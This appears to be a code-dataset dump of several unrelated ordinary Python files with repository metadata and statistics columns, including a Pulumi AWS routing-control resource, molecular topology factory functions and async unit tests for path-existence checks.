| 18.5 | 36 | 0.864865 | 5 | 37 | 6.2 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.108108 | 37 | 1 | 37 | 37 | 0.939394 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
f63cbb08a5ddd79e413b2bf5c16371540bfca56b | 71 | py | Python | gym-foodhunting/gym_foodhunting/foodhunting/__init__.py | yoshi-ono/PyLIS | c6e1df91f4f7828837a4ce0bb04e29adeb450ff3 | [
"Apache-2.0"
] | 18 | 2019-05-15T08:31:01.000Z | 2022-01-22T13:21:54.000Z | gym-foodhunting/gym_foodhunting/foodhunting/__init__.py | yoshi-ono/PyLIS | c6e1df91f4f7828837a4ce0bb04e29adeb450ff3 | [
"Apache-2.0"
] | 2 | 2019-05-08T08:39:58.000Z | 2021-07-28T09:14:27.000Z | gym-foodhunting/gym_foodhunting/foodhunting/__init__.py | yoshi-ono/PyLIS | c6e1df91f4f7828837a4ce0bb04e29adeb450ff3 | [
"Apache-2.0"
] | 7 | 2019-11-24T02:28:11.000Z | 2022-03-14T17:08:51.000Z | from gym_foodhunting.foodhunting.gym_foodhunting import FoodHuntingEnv
| 35.5 | 70 | 0.915493 | 8 | 71 | 7.875 | 0.625 | 0.444444 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.056338 | 71 | 1 | 71 | 71 | 0.940299 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
f6482b881580ef2fceeda1b35c474921627db1ae | 14,369 | py | Python | sdk/python/pulumi_aws/route53recoverycontrol/routing_control.py | chivandikwa/pulumi-aws | 19c08bf9dcb90544450ffa4eec7bf6751058fde2 | [
"ECL-2.0",
"Apache-2.0"
] | 1 | 2021-11-10T16:33:40.000Z | 2021-11-10T16:33:40.000Z | sdk/python/pulumi_aws/route53recoverycontrol/routing_control.py | chivandikwa/pulumi-aws | 19c08bf9dcb90544450ffa4eec7bf6751058fde2 | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | sdk/python/pulumi_aws/route53recoverycontrol/routing_control.py | chivandikwa/pulumi-aws | 19c08bf9dcb90544450ffa4eec7bf6751058fde2 | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | # coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from .. import _utilities
__all__ = ['RoutingControlArgs', 'RoutingControl']
@pulumi.input_type
class RoutingControlArgs:
def __init__(__self__, *,
cluster_arn: pulumi.Input[str],
control_panel_arn: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None):
"""
The set of arguments for constructing a RoutingControl resource.
:param pulumi.Input[str] cluster_arn: ARN of the cluster in which this routing control will reside.
:param pulumi.Input[str] control_panel_arn: ARN of the control panel in which this routing control will reside.
:param pulumi.Input[str] name: The name describing the routing control.
"""
pulumi.set(__self__, "cluster_arn", cluster_arn)
if control_panel_arn is not None:
pulumi.set(__self__, "control_panel_arn", control_panel_arn)
if name is not None:
pulumi.set(__self__, "name", name)
@property
@pulumi.getter(name="clusterArn")
def cluster_arn(self) -> pulumi.Input[str]:
"""
ARN of the cluster in which this routing control will reside.
"""
return pulumi.get(self, "cluster_arn")
@cluster_arn.setter
def cluster_arn(self, value: pulumi.Input[str]):
pulumi.set(self, "cluster_arn", value)
@property
@pulumi.getter(name="controlPanelArn")
def control_panel_arn(self) -> Optional[pulumi.Input[str]]:
"""
ARN of the control panel in which this routing control will reside.
"""
return pulumi.get(self, "control_panel_arn")
@control_panel_arn.setter
def control_panel_arn(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "control_panel_arn", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
"""
The name describing the routing control.
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@pulumi.input_type
class _RoutingControlState:
def __init__(__self__, *,
arn: Optional[pulumi.Input[str]] = None,
cluster_arn: Optional[pulumi.Input[str]] = None,
control_panel_arn: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
status: Optional[pulumi.Input[str]] = None):
"""
Input properties used for looking up and filtering RoutingControl resources.
:param pulumi.Input[str] arn: ARN of the routing control.
:param pulumi.Input[str] cluster_arn: ARN of the cluster in which this routing control will reside.
:param pulumi.Input[str] control_panel_arn: ARN of the control panel in which this routing control will reside.
:param pulumi.Input[str] name: The name describing the routing control.
:param pulumi.Input[str] status: Status of routing control. `PENDING` when it is being created/updated, `PENDING_DELETION` when it is being deleted, and `DEPLOYED` otherwise.
"""
if arn is not None:
pulumi.set(__self__, "arn", arn)
if cluster_arn is not None:
pulumi.set(__self__, "cluster_arn", cluster_arn)
if control_panel_arn is not None:
pulumi.set(__self__, "control_panel_arn", control_panel_arn)
if name is not None:
pulumi.set(__self__, "name", name)
if status is not None:
pulumi.set(__self__, "status", status)
@property
@pulumi.getter
def arn(self) -> Optional[pulumi.Input[str]]:
"""
ARN of the routing control.
"""
return pulumi.get(self, "arn")
@arn.setter
def arn(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "arn", value)
@property
@pulumi.getter(name="clusterArn")
def cluster_arn(self) -> Optional[pulumi.Input[str]]:
"""
ARN of the cluster in which this routing control will reside.
"""
return pulumi.get(self, "cluster_arn")
@cluster_arn.setter
def cluster_arn(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "cluster_arn", value)
@property
@pulumi.getter(name="controlPanelArn")
def control_panel_arn(self) -> Optional[pulumi.Input[str]]:
"""
ARN of the control panel in which this routing control will reside.
"""
return pulumi.get(self, "control_panel_arn")
@control_panel_arn.setter
def control_panel_arn(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "control_panel_arn", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
"""
The name describing the routing control.
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter
def status(self) -> Optional[pulumi.Input[str]]:
"""
Status of routing control. `PENDING` when it is being created/updated, `PENDING_DELETION` when it is being deleted, and `DEPLOYED` otherwise.
"""
return pulumi.get(self, "status")
@status.setter
def status(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "status", value)
class RoutingControl(pulumi.CustomResource):
@overload
def __init__(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
cluster_arn: Optional[pulumi.Input[str]] = None,
control_panel_arn: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
__props__=None):
"""
Provides an AWS Route 53 Recovery Control Config Routing Control.
## Example Usage
```python
import pulumi
import pulumi_aws as aws
example = aws.route53recoverycontrol.RoutingControl("example", cluster_arn="arn:aws:route53-recovery-control::881188118811:cluster/8d47920e-d789-437d-803a-2dcc4b204393")
```
```python
import pulumi
import pulumi_aws as aws
example = aws.route53recoverycontrol.RoutingControl("example",
cluster_arn="arn:aws:route53-recovery-control::881188118811:cluster/8d47920e-d789-437d-803a-2dcc4b204393",
control_panel_arn="arn:aws:route53-recovery-control::428113431245:controlpanel/abd5fbfc052d4844a082dbf400f61da8")
```
## Import
Route53 Recovery Control Config Routing Control can be imported via the routing control arn, e.g.,
```sh
$ pulumi import aws:route53recoverycontrol/routingControl:RoutingControl mycontrol arn:aws:route53-recovery-control::313517334327:controlpanel/abd5fbfc052d4844a082dbf400f61da8/routingcontrol/d5d90e587870494b
```
:param str resource_name: The name of the resource.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[str] cluster_arn: ARN of the cluster in which this routing control will reside.
:param pulumi.Input[str] control_panel_arn: ARN of the control panel in which this routing control will reside.
:param pulumi.Input[str] name: The name describing the routing control.
"""
...
@overload
def __init__(__self__,
resource_name: str,
args: RoutingControlArgs,
opts: Optional[pulumi.ResourceOptions] = None):
"""
Provides an AWS Route 53 Recovery Control Config Routing Control.
## Example Usage
```python
import pulumi
import pulumi_aws as aws
example = aws.route53recoverycontrol.RoutingControl("example", cluster_arn="arn:aws:route53-recovery-control::881188118811:cluster/8d47920e-d789-437d-803a-2dcc4b204393")
```
```python
import pulumi
import pulumi_aws as aws
example = aws.route53recoverycontrol.RoutingControl("example",
cluster_arn="arn:aws:route53-recovery-control::881188118811:cluster/8d47920e-d789-437d-803a-2dcc4b204393",
control_panel_arn="arn:aws:route53-recovery-control::428113431245:controlpanel/abd5fbfc052d4844a082dbf400f61da8")
```
## Import
Route53 Recovery Control Config Routing Control can be imported via the routing control arn, e.g.,
```sh
$ pulumi import aws:route53recoverycontrol/routingControl:RoutingControl mycontrol arn:aws:route53-recovery-control::313517334327:controlpanel/abd5fbfc052d4844a082dbf400f61da8/routingcontrol/d5d90e587870494b
```
:param str resource_name: The name of the resource.
:param RoutingControlArgs args: The arguments to use to populate this resource's properties.
:param pulumi.ResourceOptions opts: Options for the resource.
"""
...
def __init__(__self__, resource_name: str, *args, **kwargs):
resource_args, opts = _utilities.get_resource_args_opts(RoutingControlArgs, pulumi.ResourceOptions, *args, **kwargs)
if resource_args is not None:
__self__._internal_init(resource_name, opts, **resource_args.__dict__)
else:
__self__._internal_init(resource_name, *args, **kwargs)
def _internal_init(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
cluster_arn: Optional[pulumi.Input[str]] = None,
control_panel_arn: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
__props__=None):
if opts is None:
opts = pulumi.ResourceOptions()
if not isinstance(opts, pulumi.ResourceOptions):
raise TypeError('Expected resource options to be a ResourceOptions instance')
if opts.version is None:
opts.version = _utilities.get_version()
if opts.id is None:
if __props__ is not None:
raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource')
__props__ = RoutingControlArgs.__new__(RoutingControlArgs)
if cluster_arn is None and not opts.urn:
raise TypeError("Missing required property 'cluster_arn'")
__props__.__dict__["cluster_arn"] = cluster_arn
__props__.__dict__["control_panel_arn"] = control_panel_arn
__props__.__dict__["name"] = name
__props__.__dict__["arn"] = None
__props__.__dict__["status"] = None
super(RoutingControl, __self__).__init__(
'aws:route53recoverycontrol/routingControl:RoutingControl',
resource_name,
__props__,
opts)
@staticmethod
def get(resource_name: str,
id: pulumi.Input[str],
opts: Optional[pulumi.ResourceOptions] = None,
arn: Optional[pulumi.Input[str]] = None,
cluster_arn: Optional[pulumi.Input[str]] = None,
control_panel_arn: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
status: Optional[pulumi.Input[str]] = None) -> 'RoutingControl':
"""
Get an existing RoutingControl resource's state with the given name, id, and optional extra
properties used to qualify the lookup.
:param str resource_name: The unique name of the resulting resource.
:param pulumi.Input[str] id: The unique provider ID of the resource to lookup.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[str] arn: ARN of the routing control.
:param pulumi.Input[str] cluster_arn: ARN of the cluster in which this routing control will reside.
:param pulumi.Input[str] control_panel_arn: ARN of the control panel in which this routing control will reside.
:param pulumi.Input[str] name: The name describing the routing control.
:param pulumi.Input[str] status: Status of routing control. `PENDING` when it is being created/updated, `PENDING_DELETION` when it is being deleted, and `DEPLOYED` otherwise.
"""
opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id))
__props__ = _RoutingControlState.__new__(_RoutingControlState)
__props__.__dict__["arn"] = arn
__props__.__dict__["cluster_arn"] = cluster_arn
__props__.__dict__["control_panel_arn"] = control_panel_arn
__props__.__dict__["name"] = name
__props__.__dict__["status"] = status
return RoutingControl(resource_name, opts=opts, __props__=__props__)
@property
@pulumi.getter
def arn(self) -> pulumi.Output[str]:
"""
ARN of the routing control.
"""
return pulumi.get(self, "arn")
@property
@pulumi.getter(name="clusterArn")
def cluster_arn(self) -> pulumi.Output[str]:
"""
ARN of the cluster in which this routing control will reside.
"""
return pulumi.get(self, "cluster_arn")
@property
@pulumi.getter(name="controlPanelArn")
def control_panel_arn(self) -> pulumi.Output[str]:
"""
ARN of the control panel in which this routing control will reside.
"""
return pulumi.get(self, "control_panel_arn")
@property
@pulumi.getter
def name(self) -> pulumi.Output[str]:
"""
The name describing the routing control.
"""
return pulumi.get(self, "name")
@property
@pulumi.getter
def status(self) -> pulumi.Output[str]:
"""
Status of routing control. `PENDING` when it is being created/updated, `PENDING_DELETION` when it is being deleted, and `DEPLOYED` otherwise.
"""
return pulumi.get(self, "status")
| 40.937322 | 216 | 0.649871 | 1,660 | 14,369 | 5.404217 | 0.104217 | 0.06744 | 0.082711 | 0.078475 | 0.790993 | 0.773381 | 0.748077 | 0.735147 | 0.725337 | 0.710958 | 0 | 0.029652 | 0.251305 | 14,369 | 350 | 217 | 41.054286 | 0.804239 | 0.376783 | 0 | 0.603352 | 1 | 0 | 0.088831 | 0.006957 | 0 | 0 | 0 | 0 | 0 | 1 | 0.156425 | false | 0.005587 | 0.027933 | 0 | 0.27933 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
f66edf80d6a2e850be2436c5d8b8e4673aefcc4c | 56 | py | Python | tests/__init__.py | adrisalas/flask-appointmentsDoctor-TDD-BDD | 1f7c14f83c85144e844f3db9a4fb27eebcf678a2 | [
"MIT"
] | null | null | null | tests/__init__.py | adrisalas/flask-appointmentsDoctor-TDD-BDD | 1f7c14f83c85144e844f3db9a4fb27eebcf678a2 | [
"MIT"
] | null | null | null | tests/__init__.py | adrisalas/flask-appointmentsDoctor-TDD-BDD | 1f7c14f83c85144e844f3db9a4fb27eebcf678a2 | [
"MIT"
] | null | null | null | from tests import context
from tests import test_account | 28 | 30 | 0.875 | 9 | 56 | 5.333333 | 0.666667 | 0.375 | 0.625 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.125 | 56 | 2 | 30 | 28 | 0.979592 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
f67eac337e0319ac29b5e03b5cb6144a7485a797 | 46 | py | Python | exercises/ocr-numbers/ocr_numbers.py | RJTK/python | f9678d629735f75354bbd543eb7f10220a498dae | [
"MIT"
] | 1 | 2021-05-15T19:59:04.000Z | 2021-05-15T19:59:04.000Z | exercises/ocr-numbers/ocr_numbers.py | RJTK/python | f9678d629735f75354bbd543eb7f10220a498dae | [
"MIT"
] | null | null | null | exercises/ocr-numbers/ocr_numbers.py | RJTK/python | f9678d629735f75354bbd543eb7f10220a498dae | [
"MIT"
] | 2 | 2018-03-03T08:32:12.000Z | 2019-08-22T11:55:53.000Z | def number():
pass
def grid():
pass
| 6.571429 | 13 | 0.521739 | 6 | 46 | 4 | 0.666667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.347826 | 46 | 6 | 14 | 7.666667 | 0.8 | 0 | 0 | 0.5 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | true | 0.5 | 0 | 0 | 0.5 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 6 |
9ca83a6f1ed20d7bfb220ca4603a532091cf72c1 | 5,867 | py | Python | molsysmt/native/old/former_topology/elements/makers.py | dprada/molsysmt | 83f150bfe3cfa7603566a0ed4aed79d9b0c97f5d | [
"MIT"
] | 3 | 2020-06-02T03:55:52.000Z | 2022-03-21T04:43:52.000Z | molsysmt/native/old/former_topology/elements/makers.py | dprada/molsysmt | 83f150bfe3cfa7603566a0ed4aed79d9b0c97f5d | [
"MIT"
] | 28 | 2020-06-24T00:55:53.000Z | 2021-07-16T22:09:19.000Z | molsysmt/native/old/former_topology/elements/makers.py | dprada/molsysmt | 83f150bfe3cfa7603566a0ed4aed79d9b0c97f5d | [
"MIT"
] | 1 | 2021-06-17T18:55:25.000Z | 2021-06-17T18:55:25.000Z | def make_atom(index=None, id=None, name=None, type=None):
from .atom import Atom
return Atom(index=index, id=id, name=name, type=type)
def make_group(index=None, id=None, name=None, type=None, atoms=[]):
from .groups import Group, AminoAcid, Nucleotide, Ion, Water, Cosolute, SmallMolecule
if type is None:
return Group(index=index, id=id, name=name, atoms=atoms)
elif type == 'aminoacid':
return AminoAcid(index=index, id=id, name=name, atoms=atoms)
elif type == 'nucleotide':
return Nucleotide(index=index, id=id, name=name, atoms=atoms)
elif type == 'ion':
return Ion(index=index, id=id, name=name, atoms=atoms)
elif type == 'water':
return Water(index=index, id=id, name=name, atoms=atoms)
elif type == 'cosolute':
return Cosolute(index=index, id=id, name=name, atoms=atoms)
elif type == 'small_molecule':
return SmallMolecule(index=index, id=id, name=name, atoms=atoms)
else:
raise ValueError("Group type not recognized")
def make_component(index=None, id=None, name=None, type=None,
atoms=[], groups=[]):
from .component import Component
return Component(index=index, id=id, name=name, type=type,
atoms=atoms, groups=groups)
def make_molecule(index=None, id=None, name=None, type=None,
atoms=[], groups=[], components=[]):
from .molecules import Molecule, Ion, Water, Cosolute, SmallMolecule,\
Peptide, DNA, RNA, Protein
if type is None:
return Molecule(index=index, id=id, name=name, atoms=atoms,
groups=groups, components=components)
elif type is "ion":
return Ion(index=index, id=id, name=name, atoms=atoms,
groups=groups, components=components)
elif type is "water":
return Water(index=index, id=id, name=name, atoms=atoms,
groups=groups, components=components)
elif type is "cosolute":
return Cosolute(index=index, id=id, name=name, atoms=atoms,
groups=groups, components=components)
elif type is "small_molecule":
return SmallMolecule(index=index, id=id, name=name, atoms=atoms,
groups=groups, components=components)
elif type is "peptide":
return Peptide(index=index, id=id, name=name, atoms=atoms,
groups=groups, components=components)
elif type is "dna":
return DNA(index=index, id=id, name=name, atoms=atoms,
groups=groups, components=components)
elif type is "rna":
return RNA(index=index, id=id, name=name, atoms=atoms,
groups=groups, components=components)
elif type is "protein":
return Protein(index=index, id=id, name=name, atoms=atoms,
groups=groups, components=components)
else:
raise ValueError("Entity type not recognized.")
def make_chain(index=None, id=None, name=None, type=None,
atoms=[], groups=[], components=[]):
from .chain import Chain
return Chain(index=index, id=id, name=name, type=type,
atoms=atoms, groups=groups,
components=components)
def make_entity(index=None, id=None, name=None, type=None,
atoms=[], groups=[], components=[],
chains=[], molecules=[]):
from .entities import Entity, Ion, Water, Cosolute, SmallMolecule, Peptide, \
DNA, RNA, Protein
if type is None:
return Entity(index=index, id=id, name=name,
atoms=atoms, groups=groups,
components=components,
chains=chains, molecules=molecules)
elif type is "ion":
return Ion(index=index, id=id, name=name,
atoms=atoms, groups=groups,
components=components,
chains=chains, molecules=molecules)
elif type is "water":
return Water(index=index, id=id, name=name,
atoms=atoms, groups=groups,
components=components,
chains=chains, molecules=molecules)
elif type is "cosolute":
return Cosolute(index=index, id=id, name=name,
atoms=atoms, groups=groups,
components=components,
chains=chains, molecules=molecules)
elif type is "small_molecule":
return SmallMolecule(index=index, id=id, name=name,
atoms=atoms, groups=groups,
components=components,
chains=chains, molecules=molecules)
elif type is "peptide":
return Peptide(index=index, id=id, name=name,
atoms=atoms, groups=groups,
components=components,
chains=chains, molecules=molecules)
elif type is "dna":
return DNA(index=index, id=id, name=name,
atoms=atoms, groups=groups,
components=components,
chains=chains, molecules=molecules)
elif type is "rna":
return RNA(index=index, id=id, name=name,
atoms=atoms, groups=groups,
components=components,
chains=chains, molecules=molecules)
elif type is "protein":
return Protein(index=index, id=id, name=name,
atoms=atoms, groups=groups,
components=components,
chains=chains, molecules=molecules)
else:
raise ValueError("Entity type not recognized.")
def make_bond(index=None, atoms=None, order=None):
from .bond import Bond
return Bond(index=index, atoms=atoms, order=order)
| 29.335 | 89 | 0.582069 | 663 | 5,867 | 5.135747 | 0.064857 | 0.085169 | 0.098678 | 0.115125 | 0.860206 | 0.847871 | 0.841997 | 0.841997 | 0.824082 | 0.784728 | 0 | 0 | 0.310551 | 5,867 | 199 | 90 | 29.482412 | 0.84178 | 0 | 0 | 0.525 | 0 | 0 | 0.038875 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.058333 | false | 0 | 0.058333 | 0 | 0.358333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
9cad2e3bf1088db5dc729f23829a154a476faa69 | 224 | py | Python | utils/__init__.py | davidemarelli/sfm_flow | 7a96d8309cc01b8499347ba0cae882923d82bbcc | [
"MIT"
] | 8 | 2020-10-27T12:52:17.000Z | 2022-03-30T04:15:37.000Z | utils/__init__.py | ElsevierSoftwareX/SOFTX_2020_51 | b240a113c91405fac60444a6e56e87e3cf17a27b | [
"MIT"
] | 1 | 2020-11-09T01:56:04.000Z | 2020-11-24T15:58:26.000Z | utils/__init__.py | davidemarelli/sfm_flow | 7a96d8309cc01b8499347ba0cae882923d82bbcc | [
"MIT"
] | 2 | 2021-12-02T10:04:39.000Z | 2022-03-28T07:54:07.000Z |
from .animation import *
from .blender_version import BlenderVersion
from .camera import *
from .gt_writer import GroundTruthWriter
from .math import *
from .object import *
from .scene_bounding_box import SceneBoundingBox
| 24.888889 | 48 | 0.821429 | 28 | 224 | 6.428571 | 0.571429 | 0.222222 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.129464 | 224 | 8 | 49 | 28 | 0.923077 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
1409da3c9ee10c509438ffe300fee5d2ab422c66 | 39 | py | Python | fhirpipe/analyze/__init__.py | arkhn/fhir-pipe | fd54e1910f6f037b12e60cd8d29c033971fe1de0 | [
"Apache-2.0"
] | 27 | 2018-10-16T13:03:17.000Z | 2022-01-05T01:21:37.000Z | fhirpipe/analyze/__init__.py | arkhn/fhir-pipe | fd54e1910f6f037b12e60cd8d29c033971fe1de0 | [
"Apache-2.0"
] | 45 | 2018-10-21T14:14:11.000Z | 2020-06-25T14:32:28.000Z | fhirpipe/analyze/__init__.py | arkhn/fhir-pipe | fd54e1910f6f037b12e60cd8d29c033971fe1de0 | [
"Apache-2.0"
] | 2 | 2019-03-27T12:39:54.000Z | 2019-04-06T22:33:20.000Z | from .analyzer import Analyzer # noqa
| 19.5 | 38 | 0.769231 | 5 | 39 | 6 | 0.8 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.179487 | 39 | 1 | 39 | 39 | 0.9375 | 0.102564 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
1411a5bb03c3d93e8c6853835a9d75ce37cd435a | 3,800 | py | Python | tests/src/tasks_test/path_test.py | michalbachowski/python-checklisting | 31cbe1fb87683ffbb21104585e318d844fc7c52b | [
"MIT"
] | null | null | null | tests/src/tasks_test/path_test.py | michalbachowski/python-checklisting | 31cbe1fb87683ffbb21104585e318d844fc7c52b | [
"MIT"
] | null | null | null | tests/src/tasks_test/path_test.py | michalbachowski/python-checklisting | 31cbe1fb87683ffbb21104585e318d844fc7c52b | [
"MIT"
] | null | null | null | import mock
from pathlib import Path
import asynctest
from checklisting.result.status import TaskResultStatus
from checklisting.tasks.path import FileExistsTask, DirectoryExistsTask
class FileExistsTaskTest(asynctest.TestCase):
def setUp(self):
self.path = mock.MagicMock(Path)
self.path.__str__.return_value = 'test_path'
self.path.is_file.return_value = False
self.path.is_dir.return_value = False
self.task = FileExistsTask(self.path)
def test_no_path_given_raises_error(self):
with self.assertRaises(TypeError):
FileExistsTask()
async def test_None_path_given_returns_failure(self):
task = FileExistsTask(None)
result = await task.execute()
self.assertEqual(result.status, TaskResultStatus.FAILURE)
self.assertEqual(result.message, "'NoneType' object has no attribute 'is_file'")
async def test_when_file_does_not_exist_failure_is_returned(self):
result = await self.task.execute()
self.assertEqual(result.status, TaskResultStatus.FAILURE)
self.assertEqual(result.message, "File [test_path] does NOT exist")
async def test_when_file_is_a_directory_warning_is_returned(self):
self.path.is_dir.return_value = True
result = await self.task.execute()
self.assertEqual(result.status, TaskResultStatus.WARNING)
self.assertEqual(result.message, "Path [test_path] is a directory, not a file")
async def test_when_file_exists_success_is_returned(self):
self.path.is_file.return_value = True
result = await self.task.execute()
self.assertEqual(result.status, TaskResultStatus.SUCCESS)
self.assertEqual(result.message, "File [test_path] exists")
def test_str_returns_path(self):
self.assertEqual(str(self.task), 'test_path')
def test_eq_compares_two_paths(self):
self.assertEqual(FileExistsTask(Path('/')), FileExistsTask(Path('/')))
class DirectoryExistsTaskTest(asynctest.TestCase):
def setUp(self):
self.path = mock.MagicMock(Path)
self.path.__str__.return_value = 'test_dir'
self.path.is_file.return_value = False
self.path.is_dir.return_value = False
self.task = DirectoryExistsTask(self.path)
def test_no_path_given_raises_error(self):
with self.assertRaises(TypeError):
DirectoryExistsTask()
async def test_None_path_given_returns_failure(self):
task = DirectoryExistsTask(None)
result = await task.execute()
self.assertEqual(result.status, TaskResultStatus.FAILURE)
self.assertEqual(result.message, "'NoneType' object has no attribute 'is_dir'")
async def test_when_directory_does_not_exist_failure_is_returned(self):
result = await self.task.execute()
self.assertEqual(result.status, TaskResultStatus.FAILURE)
self.assertEqual(result.message, "Directory [test_dir] does NOT exist")
async def test_when_directory_is_a_file_warning_is_returned(self):
self.path.is_file.return_value = True
result = await self.task.execute()
self.assertEqual(result.status, TaskResultStatus.WARNING)
self.assertEqual(result.message, "Path [test_dir] is a file, not a directory")
async def test_when_directory_exists_success_is_returned(self):
self.path.is_dir.return_value = True
result = await self.task.execute()
self.assertEqual(result.status, TaskResultStatus.SUCCESS)
self.assertEqual(result.message, "Directory [test_dir] exists")
def test_str_returns_path(self):
self.assertEqual(str(self.task), 'test_dir')
def test_eq_compares_two_paths(self):
self.assertEqual(DirectoryExistsTask(Path('/')), DirectoryExistsTask(Path('/')))
| 38 | 88 | 0.718947 | 465 | 3,800 | 5.625806 | 0.137634 | 0.114679 | 0.12844 | 0.079511 | 0.819954 | 0.795872 | 0.777523 | 0.729358 | 0.719419 | 0.68578 | 0 | 0 | 0.186053 | 3,800 | 99 | 89 | 38.383838 | 0.845781 | 0 | 0 | 0.535211 | 0 | 0 | 0.085789 | 0 | 0 | 0 | 0 | 0 | 0.309859 | 1 | 0.112676 | false | 0 | 0.070423 | 0 | 0.211268 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
1ad2baa5f9ccc534832bf45c49da6ee6e5fa0636 | 12,827 | py | Python | efe.py | devinaarvind/tensorflow-efe | 7b3001ca6f885d6c94b198d24560e2004bbd356e | [
"MIT"
